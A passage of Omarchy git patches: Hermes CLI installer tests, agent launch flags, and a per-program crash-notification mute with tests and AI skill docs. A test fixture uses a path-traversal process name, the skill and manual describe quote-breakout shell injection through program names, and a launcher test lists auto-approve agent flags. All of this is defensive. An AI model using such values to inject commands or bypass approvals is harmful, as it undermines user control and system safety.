is preserved" + +# A directory passes -x on search permission alone. It is still not a command. +rm -f "$test_home/.local/bin/hermes" +mkdir "$test_home/.local/bin/hermes" +run_installer 0 --check && fail "--check rejects a directory at the hermes path" +run_installer 0 && fail "the installer does not succeed over a directory at the hermes path" +[[ -d $test_home/.local/bin/hermes ]] || fail "a directory at the hermes path is left untouched" +pass "a directory at the hermes path is preserved and rejected" + +# Mentioning the installer is not the same as being written by it. +rmdir "$test_home/.local/bin/hermes" +mentions_body='#!/bin/bash +# Replaces the stub omarchy-install-hermes-cli used to write. +exec /usr/local/bin/hermes "$@"' +printf '%s\n' "$mentions_body" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 0 || fail "installing over a wrapper that mentions the installer returns success" +[[ $(cat "$test_home/.local/bin/hermes") == "$mentions_body" ]] || + fail "a wrapper that merely mentions the installer is left untouched" +pass "ownership needs the exact marker line, not a mention" + +# Our own stub is ours to rewrite, so reinstalling refreshes it to the current +# template. +rm -f "$test_home/.local/bin/hermes" +printf '%s\n' "#!/bin/bash" "$stub_marker" "# stale template" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 0 || fail "reinstalling over our own stub succeeds" +grep -qxF "$stub_marker" "$test_home/.local/bin/hermes" || fail "the refreshed stub still carries the marker" +grep -q "stale template" "$test_home/.local/bin/hermes" && fail "reinstalling rewrites our own stub" +grep -q "exec mise x" "$test_home/.local/bin/hermes" || fail "the refreshed stub is the current template" +pass "reinstalling refreshes the Omarchy stub" diff --git a/test/shell.d/preinstalls-test.sh b/test/shell.d/preinstalls-test.sh index fb4f19a2..7aba8085 100755 --- a/test/shell.d/preinstalls-test.sh +++ b/test/shell.d/preinstalls-test.sh @@ -89,3 +89,43 @@ pass "declining Remove Preinstalls changes nothing" "$ROOT/bin/omarchy-remove-preinstalls" >/dev/null [[ -f $marker ]] || fail "Remove Preinstalls records the opt-out" pass "Remove Preinstalls records the opt-out" + +# Hermes' wrapper is only a preinstall when omarchy-install-hermes-cli wrote it. +# The desktop app's command and an official install live at the same path and +# are the user's, whether or not any package says so. +hermes="$test_home/.local/bin/hermes" +mkdir -p "$(dirname "$hermes")" + +printf '%s\n' "#!/bin/bash" "# Written by omarchy-install-hermes-cli." >"$hermes" +chmod +x "$hermes" +"$ROOT/bin/omarchy-remove-preinstalls" >/dev/null +[[ ! -e $hermes ]] || fail "Remove Preinstalls deletes the Omarchy Hermes wrapper" +pass "Remove Preinstalls deletes the Omarchy Hermes wrapper" + +printf '%s\n' "#!/bin/bash" "exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" >"$hermes" +chmod +x "$hermes" +"$ROOT/bin/omarchy-remove-preinstalls" >/dev/null +[[ -x $hermes ]] || fail "Remove Preinstalls keeps the desktop app's Hermes command" +pass "Remove Preinstalls keeps the desktop app's Hermes command" + +official_body="#!/bin/bash +unset PYTHONPATH +unset PYTHONHOME +exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" +printf '%s\n' "$official_body" >"$hermes" +chmod +x "$hermes" +"$ROOT/bin/omarchy-remove-preinstalls" >/dev/null +[[ -x $hermes && $(cat "$hermes") == "$official_body" ]] || fail "Remove Preinstalls keeps an official Hermes install" +pass "Remove Preinstalls keeps an official Hermes install" + +printf '%s\n' "#!/bin/bash" "# Replaces the stub omarchy-install-hermes-cli used to write." >"$hermes" +chmod +x "$hermes" +"$ROOT/bin/omarchy-remove-preinstalls" >/dev/null +[[ -x $hermes ]] || fail "Remove Preinstalls keeps a wrapper that merely mentions the installer" +pass "Remove Preinstalls keeps a wrapper that merely mentions the installer" + +rm -f "$hermes" +ln -s "$test_home/nowhere/hermes" "$hermes" +"$ROOT/bin/omarchy-remove-preinstalls" >/dev/null +[[ -L $hermes ]] || fail "Remove Preinstalls keeps a foreign hermes link" +pass "Remove Preinstalls keeps a foreign hermes link" From 5909210cb3ce0330f546fe0f54115efa2e69c11c Mon Sep 17 00:00:00 2001 From: Spencer Bull Date: Thu, 27 Aug 2026 01:36:26 -0500 Subject: [PATCH 078/336] Address Hermes review feedback --- bin/omarchy-install-hermes-cli | 11 +++++--- migrations/1787760281.sh | 10 +++++-- test/shell.d/hermes-cli-migration-test.sh | 30 ++++++++++++++++++++ test/shell.d/hermes-cli-test.sh | 34 +++++++++++++++++++++-- 4 files changed, 76 insertions(+), 9 deletions(-) diff --git a/bin/omarchy-install-hermes-cli b/bin/omarchy-install-hermes-cli index 7922e386..a69d33f0 100755 --- a/bin/omarchy-install-hermes-cli +++ b/bin/omarchy-install-hermes-cli @@ -73,11 +73,14 @@ foreign_hermes() { [[ -e $HOME/.local/bin/hermes || -L $HOME/.local/bin/hermes ]] && ! ours } -# A foreign path is usable when it is a command: a regular file that runs. -# A directory passes -x on search permission alone, and is no more a command -# than a dangling link is. +# A foreign path is usable when it is a command that runs: a regular executable +# whose --version answers. The executable bit alone proves little -- a directory +# passes -x on search permission, and a wrapper whose interpreter or target is +# gone passes it too. The desktop app applies the same probe with the same 15 +# second budget, so what passes here is what it will use. foreign_hermes_runs() { - [[ -f $HOME/.local/bin/hermes && -x $HOME/.local/bin/hermes ]] + [[ -f $HOME/.local/bin/hermes && -x $HOME/.local/bin/hermes ]] && + timeout 15 "$HOME/.local/bin/hermes" --version >/dev/null 2>&1 } # --check lets callers tell a cold stub from a working one before they commit diff --git a/migrations/1787760281.sh b/migrations/1787760281.sh index ea0b1d68..1c47421c 100644 --- a/migrations/1787760281.sh +++ b/migrations/1787760281.sh @@ -4,8 +4,14 @@ echo "Install the Hermes CLI wrapper for existing installs" # is one of them. [[ -f $HOME/.local/state/omarchy/preinstalls-removed ]] && exit 0 -# Hermes Desktop provides its own Hermes; the installer would only stand aside. -omarchy-pkg-present hermes-desktop && exit 0 +# Hermes Desktop provides its own Hermes. The installer stands aside for it, +# removing the mise copy and the Omarchy wrapper an earlier install may have +# left beside the app. It also reports when the app has not finished setting +# Hermes up, which is the app's to finish, not this migration's to fail on. +if omarchy-pkg-present hermes-desktop; then + omarchy-install-hermes-cli || true + exit 0 +fi # Anything already answering to hermes that this installer did not write -- # an official install, a hand-rolled wrapper, even a dangling link -- belongs to diff --git a/test/shell.d/hermes-cli-migration-test.sh b/test/shell.d/hermes-cli-migration-test.sh index cfbc952c..bd18f6fb 100755 --- a/test/shell.d/hermes-cli-migration-test.sh +++ b/test/shell.d/hermes-cli-migration-test.sh @@ -24,8 +24,10 @@ cat >"$mock_bin/omarchy-cmd-missing" <<'SH' ! command -v "$1" >/dev/null 2>&1 SH +mise_log="$test_tmp/mise-log" cat >"$mock_bin/mise" <<'SH' #!/bin/bash +printf '%s\0' "$@" >>"$OMARCHY_TEST_MISE_LOG" [[ $1 != "where" ]] SH @@ -35,6 +37,7 @@ chmod +x "$mock_bin"/* # copy of it. run_migration() { OMARCHY_TEST_DESKTOP_INSTALLED="${1:-0}" \ + OMARCHY_TEST_MISE_LOG="$mise_log" \ HOME="$test_home" \ PATH="$mock_bin:$ROOT/bin:$PATH" \ bash -euo pipefail "$migration" >/dev/null 2>&1 @@ -66,6 +69,33 @@ run_migration 1 || fail "the migration succeeds when Hermes Desktop owns Hermes" [[ ! -e $hermes ]] || fail "the migration writes nothing when Hermes Desktop owns Hermes" pass "the migration stands aside for Hermes Desktop" +# Standing aside is not the same as leaving a second Hermes behind: the wrapper +# an earlier install wrote and the mise copy it points at both go when the +# desktop app owns Hermes, even though the app has not finished setting up. +printf '%s\n' "#!/bin/bash" "$marker" >"$hermes" +chmod +x "$hermes" +: >"$mise_log" +run_migration 1 || fail "the migration succeeds when Hermes Desktop owns Hermes and the old wrapper is present" +[[ ! -e $hermes ]] || fail "the migration removes the Omarchy wrapper when Hermes Desktop owns Hermes" +mise_calls=$(tr '\0' ' ' <"$mise_log") +[[ $mise_calls == *"rm -g "* ]] || fail "the migration removes the global mise Hermes for Hermes Desktop" +[[ $mise_calls == *"uninstall --all "* ]] || fail "the migration uninstalls the mise Hermes for Hermes Desktop" +pass "the migration clears the old Omarchy Hermes for Hermes Desktop" + +# ...while anyone else's hermes stays exactly where it is, and is not run. +foreign_ran="$test_tmp/foreign-ran" +foreign_body="#!/bin/bash +touch $foreign_ran +exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" +printf '%s\n' "$foreign_body" >"$hermes" +chmod +x "$hermes" +run_migration 1 || fail "the migration succeeds over a foreign hermes when Hermes Desktop owns Hermes" +[[ -x $hermes && $(cat "$hermes") == "$foreign_body" ]] || + fail "the migration leaves a foreign hermes alone when Hermes Desktop owns Hermes" +[[ ! -e $foreign_ran ]] || fail "the migration does not run a foreign hermes" +pass "the migration preserves a foreign hermes for Hermes Desktop" +rm -f "$hermes" + official_body="#!/bin/bash unset PYTHONPATH unset PYTHONHOME diff --git a/test/shell.d/hermes-cli-test.sh b/test/shell.d/hermes-cli-test.sh index d73e621f..523aa871 100755 --- a/test/shell.d/hermes-cli-test.sh +++ b/test/shell.d/hermes-cli-test.sh @@ -87,8 +87,10 @@ pass "takeover removes an unhealthy mise copy" rm -rf "$test_home/.hermes" rm -f "$test_home/.local/bin/hermes" run_installer 1 --check && fail "--check reports Hermes missing before the app installs it" +# The venv command answers --version, as the real one does: foreign wrappers +# below exec it, and the installer probes them by running exactly that. mkdir -p "$test_home/.hermes/hermes-agent/venv/bin" -printf '%s\n' "#!/bin/bash" >"$test_home/.hermes/hermes-agent/venv/bin/hermes" +printf '%s\n' "#!/bin/bash" 'echo "hermes-agent 0.0.0-test"' >"$test_home/.hermes/hermes-agent/venv/bin/hermes" chmod +x "$test_home/.hermes/hermes-agent/venv/bin/hermes" run_installer 1 --check && fail "--check waits for the install to finish, not just the venv" touch "$test_home/.hermes/hermes-agent/.hermes-bootstrap-complete" @@ -130,6 +132,32 @@ run_installer 0 && fail "the installer does not succeed over a non-executable fo fail "a non-executable foreign hermes is left untouched" pass "a non-executable foreign hermes is preserved" +# The executable bit is not enough: a wrapper whose interpreter is gone passes +# -x and still cannot run. The probe has to run it to find out, and finding +# out never touches the file. +broken_interp_body="#!$test_home/nowhere/python3 +print('hermes')" +printf '%s\n' "$broken_interp_body" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 0 --check && fail "--check rejects a foreign hermes whose interpreter is missing" +run_installer 0 && fail "the installer does not succeed over a foreign hermes whose interpreter is missing" +run_installer 0 --now && fail "--now does not succeed over a foreign hermes whose interpreter is missing" +[[ -x $test_home/.local/bin/hermes && $(cat "$test_home/.local/bin/hermes") == "$broken_interp_body" ]] || + fail "a foreign hermes whose interpreter is missing is left untouched" +pass "a foreign hermes with a missing interpreter is preserved and rejected" + +# Likewise a wrapper that execs a target that is no longer there. +broken_target_body="#!/bin/bash +exec $test_home/nowhere/hermes \"\$@\"" +printf '%s\n' "$broken_target_body" >"$test_home/.local/bin/hermes" +chmod +x "$test_home/.local/bin/hermes" +run_installer 0 --check && fail "--check rejects a foreign hermes whose target is missing" +run_installer 0 && fail "the installer does not succeed over a foreign hermes whose target is missing" +run_installer 0 --now && fail "--now does not succeed over a foreign hermes whose target is missing" +[[ -x $test_home/.local/bin/hermes && $(cat "$test_home/.local/bin/hermes") == "$broken_target_body" ]] || + fail "a foreign hermes whose target is missing is left untouched" +pass "a foreign hermes with a missing target is preserved and rejected" + foreign_target="$test_home/foreign/hermes" mkdir -p "$(dirname "$foreign_target")" printf '%s\n' "$official_body" >"$foreign_target" @@ -161,9 +189,9 @@ pass "a directory at the hermes path is preserved and rejected" # Mentioning the installer is not the same as being written by it. rmdir "$test_home/.local/bin/hermes" -mentions_body='#!/bin/bash +mentions_body="#!/bin/bash # Replaces the stub omarchy-install-hermes-cli used to write. -exec /usr/local/bin/hermes "$@"' +exec $test_home/.hermes/hermes-agent/venv/bin/hermes \"\$@\"" printf '%s\n' "$mentions_body" >"$test_home/.local/bin/hermes" chmod +x "$test_home/.local/bin/hermes" run_installer 0 || fail "installing over a wrapper that mentions the installer returns success" From eb7ecd13f30a0455373725f45042f20c142a0c73 Mon Sep 17 00:00:00 2001 From: Luke Parke <5702154+LukasParke@users.noreply.github.com> Date: Thu, 27 Aug 2026 02:21:07 -0500 Subject: [PATCH 079/336] Keep Ori interactive when launched with a prompt (#8455) --- bin/omarchy-agent | 4 +++- test/shell.d/default-agent-test.sh | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-agent b/bin/omarchy-agent index 3c009460..3e3b7a5d 100755 --- a/bin/omarchy-agent +++ b/bin/omarchy-agent @@ -92,8 +92,10 @@ omp) ;; ori) # Ori is a harness launcher, and `ori code` is the agent it runs itself. + # A prompt alone means one headless turn there, printed after the turn ends, + # so --interactive is what seeds the session with it and keeps the window. command=(ori code) - [[ -n ${prompt:-} ]] && command+=(--prompt "$prompt") + [[ -n ${prompt:-} ]] && command+=(--interactive --prompt "$prompt") ;; pi) command=(pi) diff --git a/test/shell.d/default-agent-test.sh b/test/shell.d/default-agent-test.sh index 5b4512f1..db964d90 100644 --- a/test/shell.d/default-agent-test.sh +++ b/test/shell.d/default-agent-test.sh @@ -457,7 +457,7 @@ assert_bypass() { assert_launch pi pi "Review this project" assert_launch omp omp --auto-approve -- "Review this project" assert_launch opencode opencode --auto --prompt "Review this project" -assert_launch ori ori code --prompt "Review this project" +assert_launch ori ori code --interactive --prompt "Review this project" assert_launch claude claude --permission-mode auto -- "Review this project" assert_launch codex codex --approve-for-me -- "Review this project" assert_launch crush crush run "Review this project" From 8d14869689ae4772b1181d1012a37c7b0712cfc9 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Thu, 27 Aug 2026 10:28:11 +0200 Subject: [PATCH 080/336] Let a crash diagnosis mute that program's notifications A crash that is understood is not a crash that stops: an upstream bug waiting on a release, a program that dumps core every time it exits. The diagnosis explains it once and the toast keeps arriving, and the only answer Omarchy had was Crash Capture, which turns off every program's notifications in order to silence one. The watcher already resolves a name to dedupe on and announces that same name in the toast, so the mute is keyed on it: a flag file under toggles/crash-ignore/, written by the existing omarchy-toggle and read by the existing omarchy-toggle-enabled. One flag per name rather than one list, so `on` mutes, `off` un-mutes, and `ls -A` shows what is muted, with no new file format and nothing to parse. It is the executable's basename wherever one was recorded, falling back to the process name, which the kernel truncates to fifteen characters -- muting the truncated form would match nothing, forever, while looking like it worked. The name is not always a name, though, and the mute turns it into a path. A program picks its own comm and prctl takes anything, including slashes, and the watcher falls back to comm whenever a crash carries no absolute executable. So it is stripped to its last component first: without that, `a/../bar-off` is a legal comm aimed at an unrelated Omarchy flag, letting a crashing program suppress its own notification and letting a user who accepted the offered mute hide their bar instead. Stripping does not always leave a component either -- `/` leaves an empty string, which is no kind of array subscript and no kind of toast, and `.` or `..` names a directory that omarchy-toggle would touch and report success on, leaving a mute that never matches. Both fall back to `unknown`, the word omarchy-agent-crash already uses for a name it does not have, and which mutes like any other. The skill offers this at the end of a diagnosis and never runs it unprompted, which makes it the single change a diagnosis may make to a system it otherwise only reads. It tells the agent to use the name it was handed rather than re-derive one, since the watcher resolved that name already and the two agree for ordinary names and not for strange ones; a diagnosis started by hand from `omarchy agent crash ` is given no name and gets the derivation instead. It also says to treat the name as hostile text rather than as a word -- it is whatever the crashed program's author called a file, so a single quote inside one closes the quotes around it and the rest runs as the shell -- and to check the flag arrived rather than assume it. Co-Authored-By: Codex XHigh --- bin/omarchy-crash-watch | 17 ++ default/agents/skills/diagnose-crash/SKILL.md | 55 ++++- manual/17-ai.md | 2 + test/shell.d/crash-capture-test.sh | 188 ++++++++++++++++++ 4 files changed, 261 insertions(+), 1 deletion(-) diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index ee1ed82d..09dd32d3 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -71,11 +71,28 @@ journalctl -f -n 0 -o json "MESSAGE_ID=$COREDUMP_MESSAGE_ID" 2>/dev/null | name=$comm [[ $exe == /* ]] && name=${exe##*/} + # A process can set its own comm to anything prctl takes, slashes included, + # and a crash with no recorded executable falls back to it. The mute below + # turns this name into a path, so keep it one component: a crash must not + # reach a flag outside crash-ignore/, nor have a diagnosis write one there. + name=${name##*/} + + # What that leaves is not always a name. "/" leaves nothing, which is no + # kind of array subscript and no kind of toast, and a dot component names a + # directory rather than a flag, so a mute on it would touch that directory + # and then never match. + [[ -n $name && $name != "." && $name != ".." ]] || name=unknown + [[ -n $ignore_pattern && $name =~ $ignore_pattern ]] && continue # Never announce our own machinery, or it notifies about itself. [[ $name == omarchy-crash-* || $name == omarchy-agent-* ]] && continue + # Muted at the end of a diagnosis, when the user was offered it and said + # yes. A flag per program rather than one list, so it un-mutes with + # `omarchy-toggle crash-ignore/ off` and reads with `ls -A`. + omarchy-toggle-enabled "crash-ignore/$name" && continue + now=$EPOCHSECONDS (((now - ${last_notified[$name]:-0}) < dedupe_seconds)) && continue diff --git a/default/agents/skills/diagnose-crash/SKILL.md b/default/agents/skills/diagnose-crash/SKILL.md index 7859c6ec..7faadb1f 100644 --- a/default/agents/skills/diagnose-crash/SKILL.md +++ b/default/agents/skills/diagnose-crash/SKILL.md @@ -87,7 +87,60 @@ ambiguous, say so rather than assembling confidence out of guesswork. **Leave the system as you found it.** Diagnosis reads; it does not fix, tidy, or reconfigure. The one thing to clean up is your own: delete the core you extracted -above, which is a copy of the crashed process's memory. +above, which is a copy of the crashed process's memory. The single change a +diagnosis may make is the mute below, and only when the user asks for it. + +## Offer to stop the notifications for this program + +A crash that is now understood keeps announcing itself, and understanding it +rarely stops it happening: an upstream bug waiting on a release, a program that +dumps core every time it exits, a driver that misbehaves on this hardware. Finish +by offering to silence crash notifications for **that one program**: + +```bash +omarchy-toggle 'crash-ignore/' on +``` + +`` is the `process:` name in the crash facts, verbatim. The watcher works +that name out and then announces it, so what you were handed is already the exact +string the mute is keyed on — do not re-derive it from `coredumpctl` when you were +given it, because the two agree for ordinary names and not for strange ones. + +A diagnosis started by hand from `omarchy agent crash ` is given no name, so +there you do have to work it out the way the watcher does: the executable's +basename when an absolute `Executable:` was recorded, otherwise the process name +with everything up to the last `/` dropped, and `unknown` when that leaves +nothing, `.` or `..`. Prefer the executable — the kernel truncates the process +name to 15 characters and does not truncate the basename, so a mute on the +truncated one matches nothing, forever, while looking like it worked. + +The name is whatever the crashed program's author chose to call a file, so handle +it as hostile text rather than as a word. Single quotes hold a space or a `$(...)`, +but a name containing a single quote closes them and the rest of it runs as your +shell — escape it, or the program that just crashed chooses the command. Then +check the flag actually arrived, which is also how you learn a name was too long +for the filesystem to keep: + +```bash +omarchy-toggle-enabled 'crash-ignore/' && echo muted +``` + +Offer it; never run it unprompted. The user may well want to keep being told. + +Say how to undo it in the same breath, so it is not a one-way door: the same +command with `off` un-mutes, and each mute is one file in +`~/.local/state/omarchy/toggles/crash-ignore/`, which `ls -A` lists — the +directory appears with the first mute, so before that there is nothing to list. + +The key is a bare name, so programs sharing one share a mute, and anything run +through an interpreter is keyed as the interpreter. Muting `python3.13` or `node` +silences every other Python or Node program on the machine, which is rarely what +the user means: say so rather than quietly doing it. + +This silences one program. Every other crash still notifies, and the muted +program still crashes — nothing here fixes anything, and a mute offered instead +of a fix that was within reach is the wrong answer. If the user wants crash +notifications off altogether, that is _Trigger > Toggle > Crash Capture_ instead. ## If it is an Omarchy bug diff --git a/manual/17-ai.md b/manual/17-ai.md index f5516b88..5588ef9b 100644 --- a/manual/17-ai.md +++ b/manual/17-ai.md @@ -39,6 +39,8 @@ Omarchy watches systemd-coredump for process crashes. When something segfaults, The watching is on by default. Turn it off under _Trigger > Toggle > Crash Capture_ (or with `omarchy toggle crash-capture`) and the notifications stop; `omarchy agent crash ` still works by hand. +Crashes can also be silenced one program at a time, which is what the diagnosis offers you at the end: `omarchy toggle 'crash-ignore/' on` stops the notifications for that program only, and the same command with `off` brings them back. Use `` exactly as the notification named it, in quotes, since a program name can carry spaces and punctuation your shell would otherwise read as its own. Each mute is a file in `~/.local/state/omarchy/toggles/crash-ignore/`, so `ls -A` there shows what you've muted once you've muted something. Everything else still notifies, and the muted program still crashes — this hides the reminder, it doesn't fix anything. + ### Desktop apps The _Install > AI_ menu also carries a couple of graphical AI apps: the ChatGPT desktop app, and Grok Bot for chatting with xAI's models. diff --git a/test/shell.d/crash-capture-test.sh b/test/shell.d/crash-capture-test.sh index d4119cd8..2f705310 100755 --- a/test/shell.d/crash-capture-test.sh +++ b/test/shell.d/crash-capture-test.sh @@ -54,6 +54,194 @@ grep -F 'omarchy-crash-watch.service' "$ROOT/install/user/first-run/enable-user- fail "crash capture is no longer on by default for new installs" pass "crash capture is on by default" +require_command jq + +# The per-program mute, driven through the real watcher with a stubbed journal: +# these prove what a person sees -- a toast arriving or not -- where asserting +# that a flag file was read would prove only that a flag file was read. +watch_bin="$TMPDIR/watch-bin" +watch_home="$TMPDIR/watch-home" +NOTIFY_LOG="$TMPDIR/notify-log" +JOURNAL_ENTRIES="$TMPDIR/journal-entries" + +mkdir -p "$watch_bin" "$watch_home" + +cat >"$watch_bin/journalctl" <<'SH' +#!/bin/bash +cat "$JOURNAL_ENTRIES" +SH + +cat >"$watch_bin/omarchy-default-agent" <<'SH' +#!/bin/bash +echo claude +SH + +cat >"$watch_bin/omarchy-notification-wait" <<'SH' +#!/bin/bash +exit 0 +SH + +cat >"$watch_bin/omarchy-notification-send" <<'SH' +#!/bin/bash +printf '%s\n' "$*" >>"$NOTIFY_LOG" +SH + +chmod +x "$watch_bin/journalctl" "$watch_bin/omarchy-default-agent" \ + "$watch_bin/omarchy-notification-wait" "$watch_bin/omarchy-notification-send" + +reset_entries() { + : >"$JOURNAL_ENTRIES" +} + +# One core dump as systemd-coredump journals it. The UID must be this user's, or +# the watcher discards it as somebody else's crash before anything under test. +crash_entry() { + local comm="$1" exe="$2" + + jq -cn --arg uid "$UID" --arg comm "$comm" --arg exe "$exe" \ + '{_UID: $uid, COREDUMP_COMM: $comm, COREDUMP_PID: "4242", + COREDUMP_EXE: $exe, COREDUMP_SIGNAL_NAME: "SIGSEGV"}' >>"$JOURNAL_ENTRIES" +} + +# The stubbed journalctl ends after the entries, so the watcher's loop ends too. +# Its exit status is asserted rather than discarded: a watcher that dies on a +# muted crash notifies about nothing afterwards, which every assertion below +# that expects silence would otherwise read as success. +run_watch() { + local status=0 + + : >"$NOTIFY_LOG" + + PATH="$watch_bin:$ROOT/bin:$PATH" \ + JOURNAL_ENTRIES="$JOURNAL_ENTRIES" \ + NOTIFY_LOG="$NOTIFY_LOG" \ + HOME="$watch_home" \ + "$ROOT/bin/omarchy-crash-watch" || status=$? + + (( status == 0 )) || + fail "the watcher exited $status rather than carrying on, so a mute takes the service down with it" +} + +mute() { + HOME="$watch_home" "$ROOT/bin/omarchy-toggle" "crash-ignore/$1" "$2" +} + +announced() { + grep -Fq "Process crashed: $1" "$NOTIFY_LOG" +} + +reset_entries +crash_entry hyprland /usr/bin/hyprland +run_watch +announced hyprland || + fail "a crash nobody muted still announces itself" +pass "a crash nobody muted still announces itself" + +mute hyprland on +run_watch +! announced hyprland || + fail "muting a program stops the crash notifications the diagnosis offered to stop" +pass "muting a program stops its crash notifications" + +reset_entries +crash_entry nautilus /usr/bin/nautilus +run_watch +announced nautilus || + fail "muting one program silences every other program, which is the global toggle's job and not this one's" +pass "muting one program leaves every other program announcing" + +mute hyprland off +reset_entries +crash_entry hyprland /usr/bin/hyprland +run_watch +announced hyprland || + fail "un-muting a program brings its crash notifications back" +pass "un-muting a program brings its crash notifications back" + +# The diagnosis tells the user to mute the name the toast showed them, so the +# toast has to show the name the watcher checks. COMM is truncated to 15 +# characters and the executable's basename is not, and announcing the truncated +# one would leave a dutifully-followed mute matching nothing forever. +reset_entries +crash_entry chromium-browse /usr/lib/chromium/chromium-browser +run_watch +announced chromium-browser || + fail "the toast announces a name the mute cannot be keyed on, so following the diagnosis mutes nothing" +pass "the toast announces the name the mute is keyed on" + +mute chromium-browser on +run_watch +! announced chromium-browser || + fail "the mute is keyed on the name the notification announced, not on the truncated COMM" +pass "muting the announced name silences a program whose COMM was truncated" + +# A muted crash must not end the watcher. Restart=always would paper over it +# with a five-second gap, and the watcher restarts on `journalctl -n 0`, which +# never replays the crashes it missed while it was away. +reset_entries +crash_entry chromium-browse /usr/lib/chromium/chromium-browser +crash_entry nautilus /usr/bin/nautilus +run_watch +announced nautilus || + fail "a muted crash stops the watcher reading the journal, losing every crash after it" +pass "a muted crash does not stop the watcher reading the next one" + +# A process can set its own comm to anything prctl takes, slashes included, and +# a crash with no recorded executable falls back to it. A name that climbed out +# of crash-ignore/ would let a crashing program silence itself against an +# unrelated flag -- and have the diagnosis write one there on the user's behalf. +# The fixture carries two slashes so that dropping only the first is not mistaken +# for dropping all of them. +reset_entries +crash_entry a/../bar-off - +sibling_flag="$watch_home/.local/state/omarchy/toggles/bar-off" +touch "$sibling_flag" +run_watch +announced bar-off || + fail "a comm that climbs out of crash-ignore/ reads an unrelated toggle, letting a crash suppress its own notification" +pass "a comm that climbs out of crash-ignore/ cannot reach an unrelated toggle" +rm -f "$sibling_flag" + +# Stripping to the last component does not always leave a component. An empty +# name is no kind of array subscript and no kind of toast, and a dot component +# names a directory the mute would touch and then never match. +for empty_comm in / a/ . ..; do + reset_entries + crash_entry "$empty_comm" - + run_watch + announced unknown || + fail "a comm of '$empty_comm' leaves no usable name, so the toast cannot say what crashed and the mute has nothing to key on" +done +pass "a comm that strips down to nothing or a dot still announces under a name a mute can use" + +# Only "." and ".." are special. A leading dot is an ordinary filename, and +# folding those into the fallback would have one program's mute silence another. +for dotted_comm in .hidden ...; do + reset_entries + crash_entry "$dotted_comm" - + run_watch + announced "$dotted_comm" || + fail "'$dotted_comm' is an ordinary name, but it lands in the fallback, so muting it would silence unrelated crashes" +done +pass "a leading dot is an ordinary name rather than a special component" + +# And the name it settles on is mutable like any other. +mute unknown on +reset_entries +crash_entry / - +run_watch +! announced unknown || + fail "the fallback name cannot be muted, so the one crash most likely to repeat is the one that cannot be silenced" +pass "the fallback name can be muted like any other" +mute unknown off + +skill="$ROOT/default/agents/skills/diagnose-crash/SKILL.md" +grep -Fq 'crash-ignore/' "$skill" || + fail "the diagnosis no longer offers the mute under the name the watcher reads, so the two have drifted apart" +grep -Fq 'crash-ignore/$name' "$ROOT/bin/omarchy-crash-watch" || + fail "the watcher no longer reads the flag the diagnosis offers to write" +pass "the diagnosis and the watcher name the same flag" + run_node_test <<'JS' const fs = require('fs') const menu = requireFromRoot('shell/plugins/menu/MenuModel.js') From eeb4206c7b4a665e714fe8f5060c1647b63dad43 Mon Sep 17 00:00:00 2001 From: Omarchybot Date: Thu, 27 Aug 2026 10:38:18 +0200 Subject: [PATCH 081/336] Say in the manual what the skill already says about quoting The manual had single quotes covering "punctuation your shell would otherwise read as its own", which is more than they do: a name containing a single quote closes them, and the rest of it is read as shell. The skill states that correctly and the manual did not, so the one document a person reads before typing the command was the one making the claim that does not hold. --- manual/17-ai.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/manual/17-ai.md b/manual/17-ai.md index 5588ef9b..86c99354 100644 --- a/manual/17-ai.md +++ b/manual/17-ai.md @@ -39,7 +39,7 @@ Omarchy watches systemd-coredump for process crashes. When something segfaults, The watching is on by default. Turn it off under _Trigger > Toggle > Crash Capture_ (or with `omarchy toggle crash-capture`) and the notifications stop; `omarchy agent crash ` still works by hand. -Crashes can also be silenced one program at a time, which is what the diagnosis offers you at the end: `omarchy toggle 'crash-ignore/' on` stops the notifications for that program only, and the same command with `off` brings them back. Use `` exactly as the notification named it, in quotes, since a program name can carry spaces and punctuation your shell would otherwise read as its own. Each mute is a file in `~/.local/state/omarchy/toggles/crash-ignore/`, so `ls -A` there shows what you've muted once you've muted something. Everything else still notifies, and the muted program still crashes — this hides the reminder, it doesn't fix anything. +Crashes can also be silenced one program at a time, which is what the diagnosis offers you at the end: `omarchy toggle 'crash-ignore/' on` stops the notifications for that program only, and the same command with `off` brings them back. Use `` exactly as the notification named it, in single quotes, which is what carries a name with a space in it; a name containing a quote character closes those quotes, so that one has to be escaped as well. Each mute is a file in `~/.local/state/omarchy/toggles/crash-ignore/`, so `ls -A` there shows what you've muted once you've muted something. Everything else still notifies, and the muted program still crashes — this hides the reminder, it doesn't fix anything. ### Desktop apps From 43d2fffaf099e1b921d768256676802fd990c565 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 10:47:53 +0200 Subject: [PATCH 082/336] Keep user setup running when Hermes cannot install install/user/mise.sh is sourced through run_logged under `bash -eE`, and its status reaches omarchy-provision-user's `set -euo pipefail`. Every other line in the file writes a mise stub and cannot fail; omarchy-install-hermes-cli can, and does whenever hermes-desktop is installed but the app has not been launched yet -- what a second user on a shared machine meets on their first login. The rest of provisioning runs after that source: refreshing applications, the default browser, the mailto handler, the first-install migration markers and the finalize-user marker. Without the marker the whole step retries and fails again at every login, and omarchy-provision-first-run calls it with `|| true`, so nothing surfaces. omarchy-install-ai-hermes and the migration already guard this call the same way. Co-Authored-By: Claude Opus 5 (1M context) --- install/user/mise.sh | 7 ++++++- test/shell.d/hermes-cli-test.sh | 35 +++++++++++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 1 deletion(-) diff --git a/install/user/mise.sh b/install/user/mise.sh index a944d6cb..4baeffce 100644 --- a/install/user/mise.sh +++ b/install/user/mise.sh @@ -13,4 +13,9 @@ omarchy-mise-install npm:@kitlangton/ghui ghui omarchy-mise-install aqua:modem-dev/hunk hunk omarchy-mise-install github:basecamp/hey-cli hey omarchy-mise-install github:OpenRouterLabs/ori-releases ori -omarchy-install-hermes-cli +# Every line above writes a stub and cannot fail. This one can: it 